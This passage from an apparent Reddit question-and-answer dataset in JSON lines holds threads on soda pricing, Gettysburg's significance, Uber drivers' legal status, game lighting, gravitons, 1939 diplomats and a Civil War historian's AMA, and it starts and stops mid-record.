presence!)\n\nThey literally didn't care about the soda. They cared about the cups. The inventory of cups told them how many sodas they'd sold, and thus how much money they should have made. I was flat out told, as long as I brought my own cup to drink it out of, I could drink all the fountain soda I wanted. But if a cup was used, it had to be charged. (This was back before they put all the fountain machines out front and let you pour your own. Someone ordered a drink, I got it for them.)\n\nBasically, what you're paying for when you buy a a fountain coke is not the actual physical product. The cost of the soda, the ice, and the cup altogether is vanishingly close to zero. What you're paying for is the convenience of being able to get an ice cold fountain coke here and now.\n\nA lot of things aren't priced based on the actual cost of providing the product or service. Once your gym is built and filled with treadmills and weight machines and stuff, what's the marginal cost of adding one more member? Nothing. \n\n", "No one has mentioned framing effects. For example, a company could charge a small at $0.60, medium at $0.80, and a large at $1.00. People will purchase the size they want. Now consider they price them all at $1.00. Well now everyone purchases a large, no matter what they originally wanted. For things like soft drinks where the cost is so little, this is an easy win."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.newsweek.com/we-read-it-mark-thomass-belching-out-devil-80601"], [], [], [], []]}
{"q_id": "4g9pk8", "title": "In Gone With the Wind, Rhett Butler said, \"There's a battle going on right now that ought to pretty well fix things one way or the other\" about Gettysburg. Was there any reason to believe a victory at Gettysburg would have meant victory in the war for CSA?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4g9pk8/in_gone_with_the_wind_rhett_butler_said_theres_a/", "answers": {"a_id": ["d2fvqmd", "d2fyn0d"], "score": [22, 5], "text": ["**Edit** Apologies, halfway through the response below, I realized I had not really answered the actual question and was more answering  something to the effect of \"did Confederates in 1863 expect a victory from the Gettysburg campaign?\" for which the answer below is that Gettysburg did not really have much time to cement itself in the Confederate consciousness during 1863. While I leave someone else  to hypothesize the wider ramifications of a Confederate victory in Pennsylvania, the \"decisiveness\" of the battle is something that really got embellished in the postwar period and retroactively colored a lot of what Lee was trying to accomplish with the invasion. Invading the North might seem from this perspective to fit into some sort of grand strategic objective, but Lee's intentions for invading were much more grounded, ranging from resupplying his army from Northern stores, giving credence to the pro-peace Copperheads, and preventing the dismemberment of his army to the West. **End Edit**\n\n\n\nThe historicity of Butler's claim of the importance of the battle rests on somewhat dubious ground because the importance of Gettysburg as a major turning point of the war was a narrative that only became cemented in the postwar period and the battle loomed larger in the collective memory and commemoration than it did in July 1863. The general knowledge about the war situation was quite murky and Gettysburg formed only one small piece of what was shaping up into a series of reverses for the Confederate cause. \n\n Southern newspaper coverage of Lee's Pennsylvanian campaign was often quite sloppy and incomplete, so it would have been unlikely that a blockade-running captain in Atlanta would know of these events some several hundred miles away. Most of the Southern newspapers were reliant upon Northern reports, and took care to emphasize that reports of Confederate losses came from Northern-biased sources, and some papers even reported Gettysburg as a success for Lee, such as the *Richmond Daily Examiner*'s 7 July headline proclaimed \"Our Army Again Victorious,\" which it later had to retract. Although the news of casualties from Pennsylvania was notable both in the press and diary accounts from this period, there was little in these accounts to suggest that Southerners collectively saw this battle as a decisive turning point. The survival of Lee's army on the retreat, plus the  amount of supplies he managed to forage from his invasion helped to take some of the sting out of the casualty reports. Private Granville Belcher of the 57th Virginia wrote back to his wife that \"both sides was whipped\" at the battle and that the Confederates only retreated before the Federals did.  Emma Holmes in South Carolina would report on 17 July that \"Lee has recrossed the Potomac, in admirable order, and the army in splendid trim and spirits without loss.\" while Judith Brockenbrough McGuire's 15 July entry lamented that:\n\n > It is hard to think of so many of our warm-hearted, whole-souled, brave, ardent Southern youths, now sleeping beneath the cold clods of Pennsylvania. We can only hope that the day is not so distant when we may bring their dear bodies back to their native soil.\n\nThis is not to say that the failure of the Gettysburg campaign had no impact upon Southern morale, but rather it was part of a string of Southern reverses, the capstone of which in contemporary accounts was not Gettysburg, but the fall of Vicksburg. McGuire's diary entries for July mention the casualty reports from Gettysburg at length, but follow the progress of military affairs in the West with much greater interest. When Mary Chesnut first heard news of Vicksburg's fall, she described it memorably as \"I felt as if I had been struck a hard blow o the top of my head, and my heart took one of its queer turns.\" Georgia Governor Governor Joseph E. Brown's public address on Confederate military reverses on 17 July made reference to both Vicksburg and Port Hudson and Pennsylvania was conspicuous by its absence. In contrast to its initially rosy coverage of Gettysburg, *The Examiner* 9 July called the fall of the fortress, \n\n >  is not less astonishing than unpleasant. It is the most unexpected announcement that has been made in this war. So astoundingly contradictory is it to every particle of intelligence lately received from that quarter, either from our own people or from the enemy, that there is a strong disposition to doubt the authenticity of the dispatch sent to the Secretary of War over the signature of General Joseph E. Johnston. \n\n *The Examiner*'s somewhat hyperbolic tone underscores that unlike Gettysburg, the details and purported strategic importance of Vicksburg was something Southerners were much more aware of and its loss was a known quantity. \n\nBut news of these collective defeats came at relatively low ebb of Confederate fortunes and an increasingly strained homefront. The Richmond bread riots of Spring 1863 highlighted the increasing collapse of the Southern economy and these tensions were not easing despite victories like Chancellorsville. Chesnut's diary at this point seethed at both war-weariness and lack of patriotic fervor among the populace in this particular period of the war. While this did not necessarily translate into wide-spread defeatism, it was becoming apparent that victory was ever more distant despite news of Confederate victories, real or imagined. European powers seemed no more likely to intervene in 1863 than in 1862 and Northern reserves of manpower appeared to be endless. \n\nWhat this somewhat dour climate in mid-1863 helped is to cement Gettysburg in the postwar construction of memory. The memory cultures of the postbellum were much more amenable to Lee and his lieutenants than they were for the veterans of the Confederate West and these various officers were able to portray Gettysburg as the high-tide of Confederate fortunes, or settle scores postwar with their compatriots they felt responsible for the defeat. It was, after all, an invasion of Northern territory and this exceptional component of the campaign ironically was one of the reasons many contemporary accounts could write it off as a bloody setback. No Confederate territory had been lost and Lee's army survived, salient facts which matter somewhat less when the ultimate outcome of the war was a known quantity. Coming at the near chronological epicenter of the conflict, the narrative weaved around Gettysburg helped to cement it as a tipping point, especially since the veterans of the Army of the Potomac also enjoyed a privileged position in the hierarchy of postwar memory.   \n\nThese vagaries of postwar memory construction helped to cement Gettysburg in the American public conscious of the war, of which *Gone with the Wind* both shaped and was an expression of memory. The reality was that most Confederates in July 1863 did not have such a clear picture and from their perspective, the war situation was in a constant state of flux which was very undefined and whose ultimate meaning was malleable. \n\n*Sources*\n\nDavis, William C., and James I. Robertson. *Virginia at War, 1863*. Lexington: University Press of Kentucky, 2009. \n\n_. *Virginia at War, 1864*. Lexington: University Press of Kentucky, 2009.\n\nGallagher, Gary W. *Lee  &  His Army in Confederate History*. Chapel Hill: University of North Carolina Press, 2001. \n\nReardon, Carol. *Pickett's Charge in History and Memory*. Chapel Hill: University of North Carolina Press, 1997.", "At Gettysburg, as it happened, in purely military terms?  Probably not.  In more slippery political and social terms?  Possibly.\n\nAs a purely military operation, many find its importance to be greatly overstated.  Into 1864, Lee was still considered undefeated by the South in spite of Gettysburg, and Lee went back and forth in his weighing of the battle.  On the one hand, he submitted his resignation to Davis (which was of course denied), but on the other, he claimed to have achieved many of his objectives in the invasion, and that the Union Army of the Potomac would be \"as quiet as a sucking dove\" for the next six months.  As it happened, the next major battle with Meade was *ten months* later, they had been so badly bled.  In the meantime, Lee had sent his best corps commander, Longstreet, to the west, where he delivered the main attack in the Army of Tennessee's biggest victory of the war at Chickamauga.  \n\nNow, dipping into counterfactual territory a little bit, it would have been very difficult for Lee to slay the Army of the Potomac the way he initially planned starting from the first day at Gettysburg.  Lee wanted to attack the various corps of the AotP when they were all strung out from forced marches, reacting to his thrust towards Harrisburg (Napoleonic Manoeuvre De Derri\u00e8re), and destroy the army in detail.  Instead, operating without his cavalry, Lee was the one who was caught strung out and had to make an emergency concentration at Gettysburg.  So that's out.  He did manage to win a great tactical victory the first day, and the second day was a litany of close calls.  \n\nThe third day is the most controversial; many people see it as a crushing and near inexplicable blunder on Lee's part, other see the hand of capricious chance and failures of subordinates in it.  After Jackson's death, Lee reorganized the army from two wings into three corps, and promoted two division commanders out of Jackson's wing to fill the new slots.  A.P. Hill and Richard Ewell seem to have found the transition difficult; Lee tended to give Longstreet and Jackson broad objectives, and Jackson would hand them detailed orders.  This was their first time operating semi independently as corps commanders.  \n\nEdward Porter Alexander, Longstreet's artillery chief, criticized Ewell in his memoir.  According to him, Ewell wasn't thinking outside his sector.  On the third day, his artillery was in position to fire on the Union center in enfilade, but he missed the opportunity because it wasn't his sector.  He also criticized Lee's general approach to the battle.  He believed that the best thing for the South to do after their success on the first day was entrench on Seminary Ridge, and dare the Yankees to try to knock them off.  He quotes Jackson, saying that while the South sometimes failed to force the North from their positions, the North always failed to force them out.  He points to Army Artillery Chief Pendleton's meddling depriving him of ammunition to support the infantry advance, and the switch to slower burning fuses reduced the effectiveness of their artillery shells.  If everything went perfectly, the South might have forced Hancock's corps from their position on the third day, but they wouldn't have much to follow it up with.  Meade would likely be able to withdraw his army to the prepared Pipe Creek defensive line, blocking Lee from Baltimore and Washington.  In purely military terms, what does victory at Gettysburg get Lee?  Not a whole lot more than he got.  His staff said that even if they'd won, they'd have to retreat, since their supplies were getting thin and PA militia was keeping them from foraging.  He couldn't destroy the Army of the Potomac, and he'd still lose a hell of a lot of men.\n\nHowever, war has a political dimension beyond the armies and the battlefields.  There was a strong antiwar faction in the Union, the copperheads, and in 1863, two key states, Pennsylvania and Ohio, were having elections for governor.  Governors are responsible for raising regiments of volunteers; the PA governor was tireless in his work, and without him, fighting the war is that much harder.  If the Confederates win at Gettysburg, it's another blow to the morale of the Army of the Potomac and the north as a whole; if for nothing else, Gettysburg proved to themselves that they could stand up to the best the South had to throw at them.  Lincoln would have to run for reelection next year, and every battle the Union loses counts against him at the polls; good luck getting reelected with a lead army that's never put its foe to flight or really held them back.  \n\nSo I don't think a Southern victory at Gettysburg could really be a Game Over for the north, but it would mean they'd have to come from behind, or at least really work to reestablish their lead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "406mcm", "title": "how can uber drivers claim that they are employees when they seem to meet all the criteria for being independent contractors?", "selftext": "They supply their own equipment (cars, phones)\nThey can choose whether or not to come to work without fear of losing employment\nThey control the hours of employment\nThe work can be considered temporary", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/406mcm/eli5_how_can_uber_drivers_claim_that_they_are/", "answers": {"a_id": ["cyrtmnp"], "score": [50], "text": ["An important criterion of what makes an independent contractor is that the contractor decides how the work is to be done--he gets the job done per the contract, without being told how to do it. As [the Department of Labor](_URL_0_) notes, \"a worker\u2019s control of his or her own work hours is not necessarily indicative of independent contractor status; instead, the worker must control meaningful aspects of the working relationship.\"\n\nUber drivers very much have their hands held by the corporation. When active, they are penalized if they decline too many rides they are available for, for example. Additionally, the pricing structure is controlled by Uber and considering the previous point, drivers have only limited ability to choose the price of their labor. Certainly, they are not traditional employees, but they're not traditional independent contractors either.\n\nThere is no single answer to the question because status as an employee or independent contractor under the law is always based on several factors, none of which are determining. So reasonable people can disagree."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.dol.gov/whd/regs/compliance/whdfs13.htm"]]}
{"q_id": "72kil4", "title": "as a baseball player, i have met many people that write with their left hand but throw with their right. however, i have never met someone that writes with their right hand and throws with their left. why is this?", "selftext": "Throwing seems like it would be a less focused motion that would require less coordination, other than just pure arm strength. But there are still more righty throwers. Why is this so?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/72kil4/eli5_as_a_baseball_player_i_have_met_many_people/", "answers": {"a_id": ["dnj9klz"], "score": [2], "text": ["From my experience as tennis/volleyball player: left handed players sometimes play sports as if they're right handed because they were tought so at a very young age. Most of the time it's because teachers just start with the assumption that everyone is right handed, and the young kids just copy it without realising they could/should mirror it. \n\nThis doesn't happen the other way around for right handed people. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8hzqxc", "title": "Is there any long term possibility of containing (or hopefully reversing) the ecological contamination of the Great Lakes?", "selftext": "I've read around a bit, but I haven't found a really satisfactory answer.\n\nIs it possible for us to reverse the effects at some point, or are these invasive species here to stay?\n\nI know that one of the solutions is to prevent the dumping of ballast tanks in the Lakes. Are there others that might be more effective at ridding the Lakes of these species (instead of just halting the influx)?\n\nFor those of you who don't know, the Great Lakes were pretty much physically isolated from the rest of the aquatic world for a really long time. Once we opened the St. Lawrence Seaway (and built a bunch of locks) we managed to bring in invasive species from elsewhere that the Lakes weren't ecologically ready for (apparently ship-borne in ballast tanks, which were dumped when they arrived in the Lakes). Zebra mussels are a good example of one such species.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8hzqxc/is_there_any_long_term_possibility_of_containing/", "answers": {"a_id": ["dyo6fp2"], "score": [3], "text": ["New ballast regulations (33CFR151 for the US)the requirement for vessels to maintain a ballast water treatment system/ alternative management system have been in place for awhile mainly to combat invasive species; although some vessels are still able to do a traditional ballast water exchange. As far as combating what is already present in the Great Lakes, the use of other species has been proposed and somewhat utilized; as well as manual removal of invasive species. It\u2019s a long term plan that, unfortunately will takes years, if never, to correct. This doesn\u2019t answer you question completely(I\u2019m on mobile) but I work with this issue on the shipping side. \nAs well as the regulatory side.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wscw7", "title": "Since gravity according to Einstein is a property of the curvature of space, is there a need for this force to have a corresponding boson?", "selftext": "At the Origins Project presentation at ASU, David Gross brought up the figure of 10^19 GeV as the energy to search for the gravaton. My thought process was that if gravity is the result of the curvature of space itself, does it need a carrier boson (the fabled gravaton)? Would the lack of such a particle require any significant revisions to such theories as the Standard Model and Supersymmetry?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1wscw7/since_gravity_according_to_einstein_is_a_property/", "answers": {"a_id": ["cf52ojr", "cf52pac"], "score": [2, 14], "text": ["The problem is that, while gravity is indeed space-time curvature, this curvature is coupled to matter. Einstein's Theory of General Relativity doesn't incorporate the quantum nature of matter and hence it is incompatible.\n\nIt's easy to see the problem if you look at the Einstein Field Equations. On the right hand side, you have the _stress-energy tensor_ which describes all the matter in spacetime. Since we know that matter has a quantum nature, the right hand side of the equation is necessarily a quantum operator, rather than just a set of numbers.\n\nBut, the left hand side of the equations describes the _curvature of space-time_, which is not a quantum entity. You cannot put the two sides of the equation together without fixing this discrepancy. You can either assume that gravity must have a quantum nature, or you have to e.g. take the expectation value of the quantum operators on the right hand side (in which case GR becomes an approximation.) Either way, you see that we haven't found the whole story yet. What's really going on is still up for grabs, but looking for a quantum description of gravity is the common approach.", "There's a really interesting proof - by Feynman and some others, IIRC - showing that if you start off with a theory of massless bosons with spin 2 (i.e., twice the spin of a photon) running around and interacting on a *flat* spacetime background, that theory turns out to look *exactly* like Einstein's theory of gravity as the curvature of spacetime.\n\nIn other words, those bosons have no choice but to look, on aggregate, like they're describing the curvature of spacetime, and because of their interactions with matter, that matter will *also* act as if it's living in a curved spacetime. This is pretty damn impressive, as is the fact that the theory that comes out of this is uniquely the one that Einstein came up with for completely different reasons.\n\nSo while you can have gravity-as-spacetime-curvature without gravitons, the two are pretty naturally linked (you can't have gravitons without spacetime curvature). This link is thought to occur physically through *quantum mechanics*. Every particle in the standard model is described at the non-quantum level in terms of fields, rather than particles. Fields are mathematical objects which have different values at different points in space and time - you might be familiar with the electric and magnetic fields, which are examples of this. Gravity is also a theory of a field, in this case the gravitational field, which describes how much and in which direction spacetime is curved at any given place.\n\nNow, when you apply the rules of quantum mechanics to a theory of fields, then energetic excitations of those fields arise, and some of those excitations have exactly the right properties to be identified as particles. So when you have quantum theory in the mix, fields lead to particles.\n\nWe can do this process for every known field in the Standard Model. For example, quantizing the electric and magnetic fields leads to photons, or particles of light. However, we still don't know how to do it for gravity. While it's conceivable that whatever new physics we need in order to do this will require us to drop the fields - >  particles picture, it seems most likely that quantizing gravity will lead to gravitons just like quantizing the electric and magnetic fields led to photons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8crftv", "title": "how is lighting (specifically from sources such as street lamps, torches etc) achieved in games.", "selftext": "I was wondering what type of mechanics go behind dynamic lighting in video games, specifically those of lamp posts, torches, sconces. Is there a difference between how it's handled in different game engines? How does one achieve different brightness at different distances, as well as how the lighting effects different materials. Lighting is one of those things that has fascinated me ever since the days of messing around in the Technology Test in Serious Sam The Second Encounter.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8crftv/eli5how_is_lighting_specifically_from_sources/", "answers": {"a_id": ["dxh79m4", "dxh7bet", "dxhbr9h", "dxhhvug", "dxhw970"], "score": [8, 3, 5, 2, 2], "text": ["Lighting is one of the larger tasks of game engines. You start off with an unlit mesh. You add a light source. The engine determines all the things that are affected by the light, taking into account objects that may be in the way. When the light hits a surface, it calculates the result, taking the intensity, color, and distance of the light, the color of the texture, as well as things like bump maps to simulate physical texture. That face of the mesh is now illuminated, allowing the player camera to see it.\n\nAnd yes, different game engines handle this problem differently. Old game engines would only do static analysis, calculating environmental light sources but not allowing dynamic changes. As technology improved, engines did as well, allowing for better lighting, shadows, and texture manipulation. \n\nGoing beyond games, lighting in computer-animated movies allows light to bounce off material, refract, or allows for rules governing translucency. But this kind of thing currently can't be done in real time, thus why a CG movie looks a lot different than a video game.", "Yes, it's different between games.\n\nModern hardware (GPUs) include ultra-specialized circuits sometimes called \"shaders\". The idea is to figure out how brightly (and what color) a surface glows based on the angle light hits it, the color of the light, the color of the surface, etc. This can be *super* efficient, partly because they're doing the same operation over and over, and don't need new instructions, just new numbers to crunch. This hardware might not even have the **ability** to receive instructions, it just does one thing very efficiently.\n\nRaytracing is a technology that follows light as it travels, and accounts for light hitting one object then bouncing to another... also, if a surface isn't shiny it might not produce a perfect reflection, but light may come off it in some general direction. Raytracing is good at figuring these sorts of details out, and takes a lot more computational power as well.\n\nThere are many points between these techniques that trade appearance for efficiency. One example would be to assess objects which are illuminated, and treat them as light sources that in turn illuminate other objects. The actual calculations how bright everything looks may be very simple in this example, but it would produce a higher degree of realism. ", "There's quite a few types of lighting, but it sounds like you want lighting from a point source.\n\n3D models are made of polygons. Think of those diamond commercials where you get a close up of the flat cut faces, those are like polygons on a model. Every polygon has a direction vector made of 3 numbers, called the \"normal\". It's the same thing as in physics, just the direction perpendicular to a surface, pointing outwards. Direction vectors in graphics all lie on a unit sphere, a sphere of radius 1 (you may have heard of a unit circle from trigonometry, it's a similar concept). The 3 numbers of a direction vector are the *x*, *y*, and *z* values of a point from the unit sphere. So if you start from some position and move to the end of a direction vector from that position, you will be 1 unit from your original position. If you have a polygon laying flat on the ground facing up, the normal is (0, 1, 0), the very top of the unit sphere. If you rotate it a bit around the *x* axis, the *z* and *y* would start to increase or decrease depending on which way you rotated it, but the length of the direction vector will remain 1.\n\nSo if you have a 3D model in a computer, it's made of a bunch of points connected by lines to form polygons, each of which has a 1 unit long normal pointing outwards. If you rendered the model and drew all the normals from the center of each polygon, it would look like a porcupine. To light up the polygons, you need a light position. Then, you go along to each polygon and increase the color values of its textels (texture pixels) depending on how close its normal is to \"towards the light\". To get the direction towards a point, you calculate like so:\n\nTowards Light = (Light Position - Your Position)\n\nThen, you get the length of that vector with the Pythagorean theorem, and divide the vector by the length of itself to create a unit vector. Now, taking into account how close the polygon's normal is to \"towards light\", how close its position is to the light source, and how bright the light is, you can increase/decrease the RGB values of that polygon's textels. RGB is just 3 numbers from 0-1, (*red*, *green*, *blue*), with all 0s being black and all 1s being white, so polygons of identical color but facing different directions relative to the light will end up with different RGB values greater or less than their original values.\n\nThis is close to what actually happens, but pretty much everything in graphics is done with matrices, which are big blocks of numbers that are easy for GPUs to work with, and there are many different lighting methods and algorithms. The process I explained here wouldn't give you shadows from other objects, for example. You also wouldn't get diffuse lighting from nearby objects. (a bright red metal wall makes everything around it slightly red, etc) There's also a slightly better looking lighting algorithm which lights polygons based on the points of the model. You give each point of the model a normal by taking the average of the normals of each polygon the point is a part of, then light those polygons based on how close that normal is to towards the light.", "In today video games, dynamic lighting is done in the old ways. You need to compute a shadow and specular effects.\n\nShadow can be:\n\n- a simple directional halo or blur\n- a geometric projection of the object geometry on the ground / wall\n- a geometric projection of the object on other objects (including itself!)\n\nSpecular is computed from the normals and make the object look shiny. It follow the classic law of reflection.\n\nMost of the high quality lighting today is thanks to precomputed light + dynamic projection of the light in either a low resolution texture (great for soft shadows) or an extruded geometry (great for hard shadows).\n\nThis is all tricks and white powder until we finally have proper ray/cone tracing!", "That's a very broad topic, but it sort of comes down to this:\n\n* For each object in the scene, figure out which parts of that object are showing, and which pixels of the screen they occupy\n* For each of those pixels, figure out which light sourced affect that pixel; this could include ambient lighting, point lights, shadows from other objects in the scene, and so on\n* Determine how each of those lights affect each pixel\n* Draw all of those pixels\n\nAs you might imagine, drawing each pixel requires a lot of math... and rendering a full 1080p screen is 1920x1080 pixels, or just over 2 million pixels in total. If you're rendering at 60fps, that means your GPU is drawing out over 120 million pixels per second. That's why GPUs are so specialized -- they have many processing cores which are specialized in this exact sort of math, which allows them do a lot of these operations in parallel (all at the same time).\n\nThe CPU tells the GPU what to draw. Objects in the scene, textures and shader programs to apply to those objects, a lot of spatial math to position those objects, and logically updating everything in the scene. Assuming we're still at 60fps, all of those updates have to happen in less than 17 milliseconds per frame.\n\nA lot of development work goes into streamlining this process in order to maximize efficiency and draw more cool stuff with less overhead. For example, a process called \"frustum culling\" will determine objects which are definitely outside of your view, and skip all of the effort involved in drawing those objects. Another process called \"occlusion culling\" will try to skip objects which are behind walls or otherwise blocked from view.\n\nThere are also \"post-process\" effects such as color correction, motion blur, depth of field, lighting bloom, and so on. These are a whole separate process on top of everything else.\n\nThere's a lot more to it than that, of course, but that's a somewhat decent summary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1qdwkb", "title": "It's the 3rd of September 1939. I'm the British ambassador and I handed the declaration of war to the German government. What happens to me and my staff now?", "selftext": "Are we allowed to leave the country? Do we become prisoners of war?\n\nAlso what happened to the German embassy staff in London?\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1qdwkb/its_the_3rd_of_september_1939_im_the_british/", "answers": {"a_id": ["cdbwmkh", "cdbyki1", "cdc28vk", "cdc3bo0"], "score": [1444, 38, 69, 18], "text": ["At 11 am on September 3, 1939, when the British ultimatum expired and Britain declared war, the diplomats of the British Embassy gathered in the embassy's meeting room and stopped the clock. Ambassador Nevile Henderson and his staff immediately began closing the embassy down. \n\nAbout 4 pm, the telephone lines were cut. German soldiers [EDIT] *and Gestapo agents* arrived to detain all British staff at the Berlin embassy and other staffers working at the nearby Hotel Adlon. The diplomats were then moved out of Berlin to a cushy arrest at the resort of Bad Nauheim, where final arrangements were made through Swiss diplomats for Germany and Britain to exchange their embassy staffs. The British were back in Britain on September 7, although most of their personal effects remained in a diplomatic limbo in Switzerland.", "I remember a story about the Japanese ambassadors in Washington after PH. If someone could shed some light on that too it would be interesting. ", "An interesting case of Ambassador of Kingdom of Yugoslavia to Berlin, novelist [Ivo Andri\u0107](_URL_0_). On April 5, 1941 Germany revoked his diplomatic passport effectively ending his mission. On April 6 Germany attacked Yugoslavia, called in the ambassador and told him to leave (with all his stuff) within 24 hrs. They went by train to Switzerland. Andri\u0107 returned to Yugoslavia. During German occupation he leaved quietly in Belgrade writing books. His book, The Bridge on the River Drina was written during that time.  In 1961 it brought him Nobel Prize in Literture.", "A related question:  During the war was there ever any level of communication between the governments of opposing countries engaged in fighting?\n\nI've never heard of any, but it just feels weird to think that these countries spent years killing the shit out of each other, and there was no communication between declaration of war and surrender."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Ivo_Andri%C4%87"], []]}
{"q_id": "30cgw5", "title": "would radars work in space?", "selftext": "Would radars work better, worse or at all in space? if not, is there anything that would work similar?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30cgw5/eli5_would_radars_work_in_space/", "answers": {"a_id": ["cpr4v0h", "cpr6fbv"], "score": [16, 13], "text": ["Yes they would work, since they use electromagnetic waves and electromagnetic waves propagate even without air (unlike sound waves, which is why a sonar wouldn't work).\n\nIn space a radar would maybe work better but it is mostly due to the fact that it would have a greater line of sight than on Earth, since radio waves would behave almost the same both on Earth and in space.", "We already do use radar in space. Its a branch of astronomy. Its great for detecting relatively nearby objects like asteroids that might cause us problems. Even the earliest systems were able to detect the moon... Not that anyone had trouble finding it, but just as an example of their range and use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1z6em9", "title": "Dr. James McPherson, author of 'Battle Cry of Freedom' (1988) and over a dozen other books on the American Civil War, will be here to answer questions starting at 1:30PM EST", "selftext": "[Dr. McPherson](_URL_0_) should need no introduction to those of you who have made the Civil War a subject of particular study.  He is the author of numerous books on the war, the presidency of Abraham Lincoln, and other related subjects -- most recently *War on the Waters: The Union  &  Confederate Navies, 1861-1865* (2012).  Dr. McPherson won the 1989 Pulitzer Prize for *Battle Cry of Freedom: The Civil War Era* (1988), has served on the editorial board of *Encyclopedia Britannica*, as the president of the American Historical Association, and as the George Henry Davis '86 Professor Emeritus at Princeton.  We are very excited to welcome him to /r/AskHistorians, and hope that you will have many interesting questions to ask.\n\nThe format of Dr. McPherson's AMA will differ somewhat from our typical ones in that it will be less \"real-time\" than usual; the questions submitted by readers will be sent to him via e-mail, and his answers posted via a registered account with the help of one of our mods.  Dr. McPherson is not yet familiar with Reddit from the inside out, but he's keen to talk with everyone here all the same; we're happy to be able to help.\n\nOur thanks go out to **/u/anastik** for helping get this set up.  We appreciate it immensely!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1z6em9/dr_james_mcpherson_author_of_battle_cry_of/", "answers": {"a_id": ["cfrebey", "cfqwp1z", "cfqwukm", "cfqwusg", "cfqwuyw", "cfqx1cc", "cfqx7wh", "cfqxeua", "cfqy9un", "cfqyvp1", "cfqyzpm", "cfqz3kp", "cfqz4uv", "cfqzguh", "cfqzjcg", "cfr02gg", "cfr07ur", "cfr096u", "cfr0n20", "cfr0rh3", "cfr0u0i", "cfr0ygk", "cfr1m8q", "cfr1o4d", "cfr1rpa", "cfr1shm", "cfr1wrq", "cfr20na", "cfr2dfi", "cfr2dvt", "cfr2g0t", "cfr2u8q", "cfr2vn0", "cfr337m", "cfr36tq", "cfr37em", "cfr3c4r", "cfr3kfg", "cfr3m0k", "cfr3t71", "cfr3uhe", "cfr3vb0", "cfr47g7", "cfr4md2", "cfr4sdz", "cfr4uhw", "cfr4zq3", "cfr56x1", "cfr5bji", "cfr5hl9", "cfr5l0z", "cfr7o6k", "cfr9sqs", "cfra2df"], "score": [2, 36, 26, 16, 30, 86, 23, 27, 49, 7, 9, 12, 27, 13, 10, 13, 14, 10, 10, 33, 10, 8, 16, 34, 19, 5, 4, 8, 3, 13, 8, 7, 22, 4, 4, 4, 4, 5, 4, 5, 3, 5, 6, 7, 3, 6, 13, 7, 6, 2, 2, 2, 2, 2], "text": ["Not a question, just a huge thanks. As a foreigner to the country (Kenyan) your book (recommended by Ta-Nehisi Coates) was a great introduction to The Civil War and American history and a good antidote to some of the bad history taught about the Civil War in the U.S (strangely, when we covered the Civil War in High School in Kenya it was much better and placed Slavery firmly as the cause of the War)\n\nAlso, glad I got to hear you speak at Boston Public Library when you were on you 'Lincoln: Tried by War' book tour.", "This question is asked on behalf of /u/gingerkid1234 who is travelling:\n\nDr. McPherson, I'm really appreciative and honored you could answer questions for us.\n\nAs someone whose main interest is Jewish history, I'm curious about the experience of the Jewish community in the Civil War. In my reading, all I can find are references to a community divided along with the rest of the country, with both pro-Union and pro-Confederacy Jews, in addition to Grant's infamous order expelling Jews from Kentucky and the rank of Judah Benjamin in the Confederate Government.\n\nBut I'm curious about the experience of Jews during the Civil War more generally. Was there a \"Jewish Civil War experience\" that was meaningfully different from the experience for the rest of the country, outside of specific incidents (i.e. Grant's General Order #11)? Were there political trends in the Jewish community? I know it's a rather specific question, but it's one I've long been curious about.", "Dr. McPherson, what do you think about the historiographical shift that has taken place away from examinations about why the South lost the Civil War to those about why the North won the Civil War?", "Dr. McPherson:  Works such as Gary Gallagher's *The Confederate War* and Susan-Mary Grant's *North over South: Northern Nationalism and Identity in the Antebellum Era* have stressed the importance of Southern or Northern nationalism in shaping the causes and operation of the Civil War.\n\n- What do you think is the role of nationalism in Civil War scholarship?\n\n- Connected with this, to what extent do you believe antebellum sectionalism comprised advancing regional interests (or opposing another region's interests) versus advancing a national vision which was rooted in regionalized identities and interpretations of the United States as a whole?", "What are your thoughts on the growing number of transnational works which deal with the Civil War and Reconstruction eras? Specifically I'm thinking of Sven Beckert's work on global cotton production networks, Thomas Bender's *A Nation Among Nations* which looks at the war as part of larger international trends toward consolidation of \"nation-state empires\", and Matthew Guterl's *American Mediterranean: Southern Slaveholders in the Age of Emancipation* which looks at international networks of slaveholders in the Americas.\n\nWhat do you think such studies contribute to Civil War scholarship and where do you think (or hope) these types of studies will lead in the future?", "/u/Anastik isn't around today, so asked me to post this question by proxy (although I'm kind of writing it how I would ask it I guess...). So please do ensure this one is sent at the top of the list, as getting it answered was the genesis of this entire AMA!\n\n-------------------------\nDr. McPherson, I was hoping you could talk a little bit about your views towards Shelby Foote. Having recently read his 'Narrative', it is easy to see why he is so lauded for his writing style. But at the same time, while reading it I couldn't help but feel like I should be cautious with anything he wrote, as he also has reputation for being less than scholarly. I've heard it said more than a few times that he was a writer who didn't let facts get in the way of a good story.\n\nIn your own work though, you cite Foote frequently, over three dozen times in Battle Cry of Freedom, so I think it fair to say you have some respect for him, despite the well known shortcomings. Given this, where exactly do you feel Foote fits in the larger field of Civil War scholarship? And to possibly follow up, if you do take something of a dim view to his value as an historian, what led you to nevertheless rely on him with such frequency in your own work?", "Dr. McPherson, in my recent reading, I've 